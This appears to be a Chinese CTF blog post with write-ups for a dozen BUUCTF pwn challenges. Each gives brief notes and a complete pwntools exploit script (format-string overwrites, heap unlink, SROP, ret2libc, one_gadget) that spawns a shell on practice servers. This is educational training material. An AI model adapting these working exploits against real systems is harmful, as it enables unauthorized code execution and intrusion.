\n",b'a') p.interactive()
npuctf_2020_level2
ida打开,开了PIE的格式化字符串漏洞,读取数据还是在bss段上,且没有嵌套函数,则rbp链太短
且修改不了got表,则还是先泄露程序基地址和libc基地址
p.sendline(b'%7$p.%9$p.%11$p.')
libcbase=int(p.recvuntil(b'.')[-13:-1],16)-231-libc.sym['__libc_start_main'] stack=int(p.recvuntil(b'.')[-13:-1],16) sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00' retaddr=stack-0xe0
还是onegadget香,这里要注意先接受再去发送,不然会修改不成功
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./npuctf_2020_level2" #p=process(pwn) p=remote("node5.buuoj.cn",25910) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- #Adebug('b $rebase*(0x7F0)') p.sendline(b'%7$p.%9$p.') libcbase=int(p.recvuntil(b'.')[-13:-1],16)-231-libc.sym['__libc_start_main'] stack=int(p.recvuntil(b'.')[-13:-1],16) one_gadget = libcbase + 0x4f322 retaddr=stack-0xe0 p.sendlineafter(b'\n',b'%'+str((retaddr)&0xffff).encode()+b'c%9$hn') p.sendlineafter(b'\x20\xb4\x0a',b'%'+str(one_gadget&0xff).encode()+b'c%35$hhn') p.sendlineafter(b'\n',b'%'+str((retaddr+1)&0xffff).encode()+b'c%9$hn') p.sendlineafter(b'\x20\xb4\x0a',b'%'+str((one_gadget>>8)&0xff).encode()+b'c%35$hhn') p.sendlineafter(b'\n',b'%'+str((retaddr+2)&0xffff).encode()+b'c%9$hn') p.sendlineafter(b'\x20\xb4\x0a',b'%'+str((one_gadget>>16)&0xff).encode()+b'c%35$hhn') p.sendlineafter(b'\x20\xb4\x0a',b'66666666\x00') p.interactive()
jarvisoj_level6_x64
64位,ida打开,菜单堆题,四功能齐全,程序在开始运行前,会先分配一个0x1810大小的堆块,指针存放在bss段,chunk内容放0x100,之后将chunk内容+8的地址置0,之后调用循环,将该堆块内容+16和+24和32位的内容进行置0,循环了0x100次,相当于把列表清空的感觉,然后返回chunk的末位地址
,第一个功能,遍历展示,先对堆块进行判断,后进行循环256次,先判断chunk是否存在,存在即不断打印chunk的内容
申请堆块的功能,但是最大好像只能申请4096大小的,但是依据23行,可以申请的chunk大小不再局限于4096
存在uaf,删除功能中会进行标志位的删除,size的删除,指针释放,但是指针没有置0
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./freenote_x64" #p=process(pwn) p=remote("node5.buuoj.cn","29264") elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- def show(): p.sendlineafter("Your choice: ",str(1)) def create(size,context): p.sendlineafter("Your choice: ",str(2)) p.sendlineafter("Length of new note: ",str(size)) p.sendlineafter("Enter your note: ",context) def edit(index,size,context): p.sendlineafter("Your choice: ",str(3)) p.sendlineafter("Note number: ",str(index)) p.sendlineafter("Length of note: ",str(size)) p.sendlineafter("Enter your note: ",context) def delete(index): p.sendlineafter("Your choice: ",str(4)) p.sendlineafter("Note number: ",str(index)) create(0x80,b'a'*0x80) #chunk 0 create(0x80,b'a'*0x80) #chunk 1 create(0x80,b'a'*0x80) #chunk 2 create(0x10,b'a'*0x10) #chunk 3 delete(0) delete(2) create(0x8,b'a'*8) #chunk 0 show() p.recvuntil(b'a'*8) heap=u64(p.recv(4).ljust(8,b'\x00'))-0x1940+0x30 print(hex(heap)) delete(0) delete(1) delete(3) create(0x20,p64(0)+p64(0x110)+p64(heap-0x18)+p64(heap-0x10)) #chunk 0 payload=b'a'*0x80+p64(0x110)+p64(0x90)+b'a'*0x80+p64(0)+p64(0x91)+b'a'*0x80 create(len(payload),payload) delete(2) payload=p64(1)*2+p64(0x8)+p64(elf.got['atoi']) edit(0,len(payload),payload) show() libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(0,0x8,p64(sys_addr)) p.sendlineafter(b'choice: ', b'/bin/sh\x00') #debug() p.interactive()
[2020 新春红包题]3
ida打开,菜单堆题,libc2.29
ciscn_2019_s_1
菜单堆题,四功能齐全,申请的chunk大小有限制,0x80~0x100,libc2.27,同时在申请chunk的时候,会打印出chunk的地址
修改函数,只能修改两次且会对指针进行检查
打印功能,刚开始不能打印,我们要想办法将key2 的地址劫持,才能获得打印功能,所以前面能够进行的功能就增删改,PIE没开,应该是unlink,且修改函数的第16行末位置0,产生off by null漏洞
不知道为啥,ida静态编译的时候,结构体是len,heap,一个存放chunk 的size,一个存放chunk的地址,但是动调的收发现,heap存放chunk的大小,pro存放的才是chunk的地址,真搞啊,本来一直想着通过unlink构造大于0x25c的chunk来覆盖结构体的大小,好既容易控制chunk的指向,又能操控key2和key1的大小,既能获得show功能,又能随意修改chunk的内容,但是这样我们就不用构造那么大的chunk了,只能说互有利弊,由于是ubuntu18的,则要多申请7个chunk填满tcache,同时这道题坑的点是虽然说给了索引让你填,但是存放位置依然是从结构体的第一个位置往下排。好好好,更加抽象的来了,原来能控制索引,但是第一个控制不了罢了,这下只能在0x6021e0的位置进行unlink了------OK,又研究了几分钟,这个索引是从0开始排列的,我申请的0x20的索引算是越界了,还是太菜了,能控制索引那就更好了
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./ciscn_s_1" #p=process(pwn) p=remote("node5.buuoj.cn","25368") elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def create(index,size,context=b'aaa\n'): p.sendlineafter("4.show\n",str(1)) p.sendlineafter("index:\n",str(index)) p.sendlineafter("size:\n",str(size)) p.recvuntil("gift: ") heap=int(p.recv(7),16) p.sendafter("content:\n",context) return heap def delete(index): p.sendlineafter("4.show\n",str(2)) p.sendlineafter("index:\n",str(index)) def edit(index,context=b'aaaa\n'): p.sendlineafter("4.show\n",str(3)) p.sendlineafter("index:\n",str(index)) p.sendafter("content:\n",context) def show(index): p.sendlineafter("4.show\n",str(4)) p.sendlineafter("index:\n",str(index)) for i in range(1,8): create(i,0xf8) create(32,0xf8) create(9,0xf8) create(10,0x80,b'/bin/sh\x00') create(31,0x80) for i in range(1,8): delete(i) ptr=0x6021e0 edit(32,p64(0)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+b'\x00'*0xd0+p64(0xf0)) delete(9) edit(32,p64(0)*2+p64(elf.got['puts'])+p64(0x6021d8)+b'\x00'*0xd0+p32(1)+p32(0)) show(31) libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts'] print(hex(libcbase)) free_hook=libcbase+libc.sym['__free_hook'] sys_addr=libcbase+libc.sym['system'] edit(32,p64(free_hook)+p64(0x6021e0)+b'\x00'*0xd0+p64(0)) edit(31,p64(sys_addr)[:-1]) delete(10) #debug() p.interactive()
picoctf_2018_echo back
格式化字符串漏洞,程序只执行一次,无pie的话且RELEO半开,则可改写got表,或者直接改写返回地址,gdb动调偏移为7
修改printf的got改为system的got,后面又puts函数,将 这个函数的got表改为,vuln函数的(地址要选择好)
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./PicoCTF_2018_echo_back" #p=process(pwn) p=remote("node5.buuoj.cn",27791) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- vuln=0x080485DC sys_addr=0x8048460 printf=elf.got['printf'] puts=elf.got['puts'] #debug() # 4 8 60 84 85 dc payload=b'%4c%29$hhn%33$hhn%4c%30$hhn%34$hhn%88c%27$hhn%36c%28$hhn%1c%32$hhn%87c%31$hhn' payload=payload.ljust(0x50,b'a')+p32(printf)+p32(printf+1)+p32(printf+2)+p32(printf+3) #27 payload+=p32(puts)+p32(puts+1)+p32(puts+2)+p32(puts+3) p.sendafter("message:\n",payload) #pause() p.send(b'/bin/sh\x00') p.interactive()
360chunqiu2017_smallest
程序就几行代码,栈溢出,利用sorp进行操作
看题解我们是先发送三个开始地址在栈上,第一次读入了三个返回开始的地址,然后再发送一个字节为\xb3,这个就是上图中的0x400b3,用于绕过rax的归0操作,让rax==1,则进行write的系统调用,则返回地址就被我们更改为0x400b3
start=0x4000B0 syscall_ret=0x4000BE p.send(p64(start)*3) sleep(1) p.send(b'\xb3')
如上图所示,我们填入的就是rsp所指向的地址,已经成功绕过,就可以系统调用write函数进行栈地址的泄露
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(stack))
泄露完了进行栈空间的布局
sigframe=SigreturnFrame() sigframe.rax=constants.SYS_read sigframe.rdi=0 sigframe.rsi=stack sigframe.rdx=0x400 sigframe.rsp=stack sigframe.rip=syscall_ret #该地址是防止开始地址的xor rax,rax将rax置0
p.send(p64(start)+b'a'*8+bytes(sigframe))
这个sigframe来进行栈空间的 布置,如上图已经布置在了栈上
开头的start地址第一个用来修改第二个开头地址并返回,第二个用来调用write函数,第三个用来继续读入开头地址和sigframe的结构
p.send(p64(syscall_ret)+b'a'*7) 调用了start之后进行rax的值改为0xf进行sigreturn,如下图所示,直接调用syscall进行srop
接下来就是再一次的srop
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./smallest" p=process(pwn) #p=remote("node5.buuoj.cn",25816) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- debug('b *0x4000BE') start=0x4000B0 syscall_ret=0x4000BE p.send(p64(start)*3) pause() sleep(1) #leak -->stack p.send(b'\xb3') stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(stack)) pause() sigframe=SigreturnFrame() sigframe.rax=constants.SYS_read sigframe.rdi=0 sigframe.rsi=stack sigframe.rdx=0x400 sigframe.rsp=stack sigframe.rip=syscall_ret sleep(1) p.send(p64(start)+b'a'*8+bytes(sigframe)) pause() sleep(1) p.send(p64(syscall_ret)+b'a'*7) pause() sigframe=SigreturnFrame() sigframe.rax=constants.SYS_execve sigframe.rdi=stack+0x120 sigframe.rsi=0 sigframe.rdx=0 sigframe.rcx=0 sigframe.rsp=stack sigframe.rip=syscall_ret frame=p64(start)+b'a'*8+bytes(sigframe) payload=(frame)+b'\x00'*(0x120-0x108)+b'/bin/sh\x00' sleep(1) p.send(payload) pause() sleep(1) p.send(p64(syscall_ret)+b'a'*7) p.interactive()
inndy_echo2
64位,ida打开,又是栈上格式化字符串利用,开了pie,但是可以修改got表,那就直接修改printf的got表为system函数的got表地址,但是要先泄露程序基址,找到偏移为6
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./echo2" #p=process(pwn) p=remote("node5.buuoj.cn",25656) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #--------------------------------------------------------------------------------------------------- p.sendline(b'%41$p.%43$p.') pro_base=int(p.recvuntil(b'.')[-13:-1],16)-0xa03 libcbase=int(p.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-240 sys_addr=elf.plt['system']+pro_base printf=elf.got['printf']+pro_base system=libcbase+libc.sym['system'] a=system&0xffff b=(system>>16)&0xff print(hex(system)) print(hex(a),hex(b)) p.sendline(b'%'+str(b).encode()+b'c%10$hhn%'+str(a-b).encode()+b'c%9$hn'+p64(printf)+p64(printf+2)) #debug() sleep(1) p.sendline(b'/bin/sh\x00') p.interactive()
warmup
程序少的可怜的,存在栈溢出,通过alarm函数特性,进行系统调用
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') #pwn="./gwctf_2019_easy_pwn" #p=process(pwn) p=remote("node5.buuoj.cn","29496") #elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so") #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #------------------------------------------------------------------------------------------------------- read_addr = 0x804811D vuln_addr = 0x804815A write_addr = 0x8048135 data_addr = 0x80491BC alarm_addr = 0x804810D syscall = 0x804813a payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data_addr) + p32(0x10) p.sendafter(b'2016!\n', payload) p.send(b'/flag\x00'.ljust(0x10, b'\x00')) # open sleep(5) payload = b'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data_addr) + p32(0) p.send(payload) # read payload = b'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data_addr) + p32(0x30) p.send(payload) # write payload = b'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data_addr) + p32(0x30) p.send(payload) p.recv() p.recv() p.recv() print(p.recv())
hfctf_2020_marksman
保护全开,ida打开,这道题刚开始就泄露了libc基地址给我们,往下看v6的值是由我们进行输入,那*(j+v6)的地址我们就可以进行操作,即获得了任意后三位地址交给我们填写的能力
本来是想有无可能把返回地址修改为onegadget地址,但是下面的函数将onegadget禁用了
但是看了wp才知道,one_gadget 原来可以调等级,不过利用的难度提升,这道题是调用onegadget的话,返回地址不够字节修改,我们只能修改libc的函数地址了,或者覆盖中间指针的形式
利用思路一:泄露puts
函数地址,计算得到__rtld_lock_unlock_recursive(0x81df60)
的偏移,修改__rtld_lock_unlock_recursive
低三个字节为0x10a387
利用思路二:泄露puts
函数地址,计算得到_dl_catch_error@plt+6
地址,修改_dl_catch_error@plt+6(0x5f4038)
地址为one_gadget(0xe569f)
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./hfctf_2020_marksman" #p=process(pwn) p=remote("node5.buuoj.cn",28902) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") #--------------------------------------------------------------------------------------------------- p.recvuntil("near: ") libcbase=int(p.recv(14),16)-libc.sym['puts'] print(hex(libcbase)) one_gadget = libcbase+ 0xe569f _dl_catch_error_offset = 0x5f4038 target_addr = libcbase + _dl_catch_error_offset print(hex(target_addr)) p.sendlineafter(b'shoot!shoot!\n', str(target_addr )) for i in range(0, 24, 8): p.sendlineafter(b'biang!\n', chr((one_gadget >> i) & 0xFF)) p.interactive()
bctf2016_bcloud
上面有道题一模一样
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./bcloud_bctf_2016" p=process(pwn) #p=remote("node5.buuoj.cn",25087) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so") #--------------------------------------------------------------------------------------------------- def create(size,context=b'a'): p.sendlineafter("option--->>\n",str(1)) p.sendlineafter("content:\n",str(size)) p.sendlineafter("content:\n",context) def edit(index,context): p.sendlineafter("option--->>\n",str(3)) p.sendlineafter("the id:\n",str(index)) p.sendlineafter("new content:\n",context) def delete(index): p.sendlineafter("option--->>\n",str(4)) p.sendlineafter("the id:\n",str(index)) p.sendafter("your name:\n",b'a'*0x40) p.recvuntil(b'a'*0x40) heap=u32(p.recv(4)) p.sendafter("Org:\n",b'a'*0x40) p.sendlineafter("Host:\n",p32(0xffffffff)) top=heap+0xd0 chunkptr=0x804B120 create(chunkptr-top-0x20,b'a'*4) create(0x20,b'a'*0x14+p32(elf.got['free'])+p32(elf.got['puts'])) #chunk 1 edit(1,p32(elf.plt['puts'])) #leak-->libcbase delete(2) puts_addr=u32(p.recv(4)) libcbase=puts_addr-libc.sym['puts'] print(hex(libcbase)) sys_addr=libcbase+libc.sym['system'] edit(1,p32(sys_addr)) create(0x10,b'/bin/sh\x00') delete(2) #debug() p.interactive()
pwnable_simple_login
我们只能输入0xc数据的长度,判定条件有两个,一个是bss段上的值要为一个特定的值,还有一个是auth函数里的base64加密为正确的
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./login" p=process(pwn) #p=remote("node5.buuoj.cn","28834") #elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- backdor=0x8049284 payload=b'a'*4+p32(backdor)+p32(0x811eb40) payload=base64.b64encode(payload) p.sendlineafter("Authenticate : ",payload) #debug() p.interactive()
wustctf2020_babyfmt
保护全开,ida打开,先是一个询问时间的函数,之后展示菜单,进入while循环,我们需要得到secret的内容
通过leak函数进行泄露,但是是任意地址一字节,且要进行循环获取,但是开了pie,secret在bss段上
通过这个函数存在的格式化字符串漏洞进行泄露程序基址
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./wustctf2020_babyfmt" p=process(pwn) p=remote("node5.buuoj.cn","26661") #elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #------------------------------------------------------------------------------------------------------- p.sendlineafter("time:",str(11)) p.sendline(str(12)) p.sendline(str(11)) p.sendlineafter(">>",str(2)) p.sendline(b'%7$hhn%17$p.') pro_base=int(p.recvuntil(b'.')[-13:-1],16)-0x102c print(hex(pro_base)) flag=pro_base+0xf56 #debug('b $rebase(*0xEB8)') p.sendlineafter(">>",str(2)) p.sendline(b'%7$hhn%16$p.') ret=int(p.recvuntil(b'.')[-13:-1],16)-0x28 print(hex(ret)) p.sendlineafter(">>",str(2)) #pause() p.sendline(b'%'+str(flag&0xffff).encode()+b'c%10$hnaaaa'+p64(ret)) p.recvuntil(b'flag') p.interactive()
gwctf_2019_easy_pwn
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() #context(os='linux', arch='amd64', log_level='debug') context(os='linux', arch='i386', log_level='debug') pwn="./gwctf_2019_easy_pwn" #p=process(pwn) p=remote("node5.buuoj.cn","28035") elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so") #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #------------------------------------------------------------------------------------------------------- p.sendlineafter("name!\n",b'I'*0x10+p32(elf.plt['puts'])+p32(0x8049091)+p32(elf.got['puts'])) libcbase = u32(p.recvuntil(b'\xf7')[-4:]) - libc.sym['puts'] sys_addr=libcbase+libc.sym['system'] bin_sh=libcbase+next(libc.search(b'/bin/sh\x00')) p.sendlineafter("name!\n",b'I'*0x10+p32(sys_addr)+p32(0x8049091)+p32(bin_sh)) p.interactive()
[OGeek2019 Final]OVM
是道虚拟机逃逸的题,之后有时间研究研究吧,代码看的晕头转向
from pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./pwn1" #p=process(pwn) p=remote("node5.buuoj.cn",29884) elf=ELF(pwn) libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so") #libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #------------------------------------------------------------------------------------------------------- def send_code(opcode, dest, src1, src2): code = (opcode << 24) + (dest << 16) + (src1 << 8) + src2 print(hex(code)) return str(code) p.sendlineafter("PC: ", '0') p.sendlineafter("SP: ", '1') p.sendlineafter("CODE SIZE: ", "24") p.recvuntil("CODE: ") p.sendline(send_code(0x10, 0, 0, 26)) p.sendline(send_code(0x80, 1, 1, 0)) p.sendline(send_code(0x30, 2, 0, 1)) p.sendline(send_code(0x10, 0, 0, 25)) p.sendline(send_code(0x10, 1, 0, 0)) p.sendline(send_code(0x80, 1, 1, 0)) p.sendline(send_code(0x30, 3, 0, 1)) p.sendline(send_code(0x10, 4, 0, 0x10)) p.sendline(send_code(0x10, 5, 0, 8)) p.sendline(send_code(0xC0, 4, 4, 5)) p.sendline(send_code(0x10, 5, 0, 0xa)) p.sendline(send_code(0x10, 6, 0, 4)) p.sendline(send_code(0xC0, 5, 5, 6)) p.sendline(send_code(0x70, 4, 4, 5)) p.sendline(send_code(0x70, 2, 4, 2)) p.sendline(send_code(0x10, 4, 0, 8)) p.sendline(send_code(0x10, 5, 0, 0)) p.sendline(send_code(0x80, 5, 5, 4)) p.sendline(send_code(0x40, 2, 0, 5)) p.sendline(send_code(0x10, 4, 0, 7)) p.sendline(send_code(0x10, 5, 0, 0)) p.sendline(send_code(0x80, 5, 5, 4)) p.sendline(send_code(0x40, 3, 0, 5)) p.sendline(send_code(0xE0, 0, 0, 0)) p.recvuntil("R2: ") low = int(p.recvuntil("\n"), 16) + 8 print("[*]" + hex(low)) p.recvuntil("R3: ") high = int(p.recvuntil("\n"), 16) free_hook_addr = (high << 32) + low print("[*] __free_hook : " + hex(free_hook_addr)) libc_base = free_hook_addr - libc.sym['__free_hook'] sys_addr = libc_base + libc.sym['system'] payload = b"/bin/sh\x00" + p64(sys_addr) p.send(payload)
npuctf_2020_bad_guy
菜单堆题,创建函数和修改函数感觉都有栈溢出的机会,size是int型的,但是read函数执行时会转化成为size_t型,即为无符号整型,且edit的时候并没有对chunk size进行检查,也没有进行限制,其他的没什么差别,那就是堆溢出了,现在没有show的功能,我们要先泄露libc的基地址的话,那就是unlink的攻击手法了,将chunk 的指向我们堆块指针存放的位置,再把puts函数的地址填上,进行泄露,因为为full relro,且是libc2.23,则进行__malloc_hook的攻击,但是开了PIE,bss段的地址不知,则我们需要 先泄露程序基址,
标签:libc,debug,buu5,str,sendlineafter,pwn,import From: https://www.cnblogs.com/fheap/p/18061828